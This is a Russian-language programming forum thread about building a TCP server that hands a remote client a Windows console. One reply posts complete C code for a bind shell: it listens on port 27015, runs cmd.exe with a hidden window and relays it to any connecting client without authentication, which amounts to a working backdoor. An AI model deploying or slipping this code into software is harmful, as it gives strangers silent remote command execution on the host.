помогите с тцп сервер\клиентом как открыть консоль на клиенте и запустить обработку ввода\вывода с сервера "план", как мне кажется, таков: на сервере 1. биндим слушающий сокет 2. акцепт клиента 3. обрабатываем в цикле прием\передача данных с\на консоль клиента пока не отвалится на клиенте 1. открываем сокет 2. конектимся к серверу 3. открываем консоль 4. отправляем\принимаем команды с\на консоль пока не надоест "клиент", как таковой, полагаю, воопще писать не нужно, а пользовать стандартный телнет по серверу затык на п.3, научился акцептить клиента, а чо делать дальше, нинаю хелп, плиззз
Вот когда то давно читал на хомяке одного товарища. Просто и доходчиво. http://www.ronybc.8k.com/sparcz.htm
dekloper я когда то делал так Код (Text): #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #pragma comment(lib,"ws2_32.lib") #define BUFF_SIZE 0x2000 #define SHELL_PORT 27015 DWORD WINAPI ReadThread(LPVOID lpParam); DWORD /*WINAPI*/ ListenThread();//LPVOID lpParam); DWORD WINAPI Shell(LPVOID lpParam); BOOL InitWSA(void); //==[ Start code programm ]== ======================================================= BOOL __stdcall WinMain(HINSTANCE,HINSTANCE,LPSTR,int) { if (InitWSA()) { ListenThread(); WSACleanup(); } return true; } //==[ Shell ]== ===================================================================== DWORD WINAPI Shell(LPVOID lpParam) { SOCKET Sock = (SOCKET)lpParam; STARTUPINFO sIf = {0}; PROCESS_INFORMATION pIf = {0}; SECURITY_ATTRIBUTES sat = {0}; HANDLE hInRead,hInWrite,hOutRead,hOutWrite; sat.nLength = sizeof(SECURITY_ATTRIBUTES); sat.bInheritHandle = TRUE; sat.lpSecurityDescriptor = NULL; if(!CreatePipe(&hInRead,&hInWrite,&sat,0)) return 0; if(!CreatePipe(&hOutRead,&hOutWrite,&sat,0))return 0; memset(&sIf,0,sizeof(sIf)); memset(&pIf,0,sizeof(pIf)); GetStartupInfo(&sIf); sIf.cb=sizeof (STARTUPINFO); sIf.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; sIf.wShowWindow = SW_HIDE; sIf.hStdInput = hOutRead; sIf.hStdOutput = hInWrite; sIf.hStdError = hInWrite; CreateProcess(NULL,"cmd.exe",&sat,&sat,TRUE,0,NULL,NULL,&sIf,&pIf); CloseHandle(hOutRead); CloseHandle(hInWrite); CloseHandle(pIf.hThread); char *buf=(char*)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT,BUFF_SIZE); DWORD Exit; FD_SET F_Set; TIMEVAL TimeOut; TimeOut.tv_sec = 0; TimeOut.tv_usec = 5000; while (GetExitCodeProcess(pIf.hProcess,&Exit) && Exit == STILL_ACTIVE) { DWORD BytesToRead; DWORD BytesTotal; while (PeekNamedPipe(hInRead,buf,BUFF_SIZE,&BytesToRead,&BytesTotal,NULL) && BytesToRead) { ReadFile(hInRead,buf,BUFF_SIZE,&BytesToRead,NULL); send(Sock,buf,BytesToRead,0); ZeroMemory(buf,BUFF_SIZE); } FD_ZERO(&F_Set); FD_SET(Sock,&F_Set); if (select(0,&F_Set,NULL,NULL,&TimeOut) == -1) break; if (FD_ISSET(Sock,&F_Set)) { int RecvBytes; if ((RecvBytes = recv(Sock,buf,BUFF_SIZE,0)) <= 0) break; //remake !!! if (strstr(buf,"exit")) break; DWORD BytesWritten; WriteFile(hOutWrite,buf,RecvBytes,&BytesWritten,0); ZeroMemory(buf,BUFF_SIZE); } } GlobalFree(buf); TerminateProcess(pIf.hProcess,0); CloseHandle(hInRead); CloseHandle(hOutWrite); closesocket(Sock); ExitThread(0); return 0; } //==[ Init WSAStartup (function)]== =============================================== BOOL InitWSA(void) { WSADATA FWSAData = {0}; if (!WSAStartup(0x202,&FWSAData)) return TRUE; return FALSE; } //==[ Connections thread ]== ====================================================== DWORD /*WINAPI*/ ListenThread()//LPVOID lpParam) { SOCKET Sock; SOCKET FSocket; sockaddr_in addr = {0}; Sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_IP,NULL,0,0); if (Sock == INVALID_SOCKET) { closesocket(Sock); return 0; } memset(&(addr.sin_zero),0,0x8); addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_family = AF_INET; addr.sin_port = htons(SHELL_PORT); int Size=sizeof(addr); if (bind(Sock,(struct sockaddr *)&addr,Size) == -1) { closesocket(Sock); return 0; } if (listen(Sock,SOMAXCONN) == -1) { closesocket(Sock); return 0; } for(;;) { FD_SET F_Set; FD_ZERO(&F_Set); FD_SET(Sock,&F_Set); if (select(0,&F_Set,NULL,NULL,NULL) == -1) break; if (FD_ISSET(Sock,&F_Set)) { memset(&(addr.sin_zero),0,0x8); FSocket = accept(Sock,(struct sockaddr *)&addr,&Size); if (FSocket == INVALID_SOCKET) break; DWORD Id; HANDLE hThread = CreateThread(NULL, 0,&Shell,(LPVOID)FSocket,0,&Id); if (hThread == NULL) break; CloseHandle(hThread); } } closesocket(FSocket); closesocket(Sock); return 0; }
пацыба "краткость" канэшно, тут лишнее) кстате, имена в структуре можно переопределить? а то чота нифига не работает тренируюсь вот на фасме Код (Text): format PE console include 'win32ax.inc' .data struct STARTUPINFO hin dd ? hout dd ? ends fname db 'cmd.exe',0 string db 100 dup ? sinfo STARTUPINFO pinfo PROCESS_INFORMATION ns dd ? .code start: invoke GetStdHandle,STD_OUTPUT_HANDLE mov [sinfo.hout],eax invoke GetStdHandle,STD_INPUT_HANDLE mov [sinfo.hin],eax invoke CreateProcess, NULL, fname, NULL, NULL, TRUE,\ CREATE_NEW_CONSOLE,NULL,NULL,sinfo,pinfo invoke ReadFile,[sinfo.hin],string,100,ns,NULL invoke WriteFile,[sinfo.hout],string,100,ns,NULL invoke ExitProcess,0 .end start охота перенаправить stdin\stdout в новый консольный процесс cmd.exe......
_sheva740 как то.. очень "недоделанно" нету процесса, к-рый обрабатывает все введенные команды.. ток то, што он заранее "счёл нужным"... с сокетами - познавательно, пасиб 984259h пасиб,то,что нужно буду переписывать на фасм)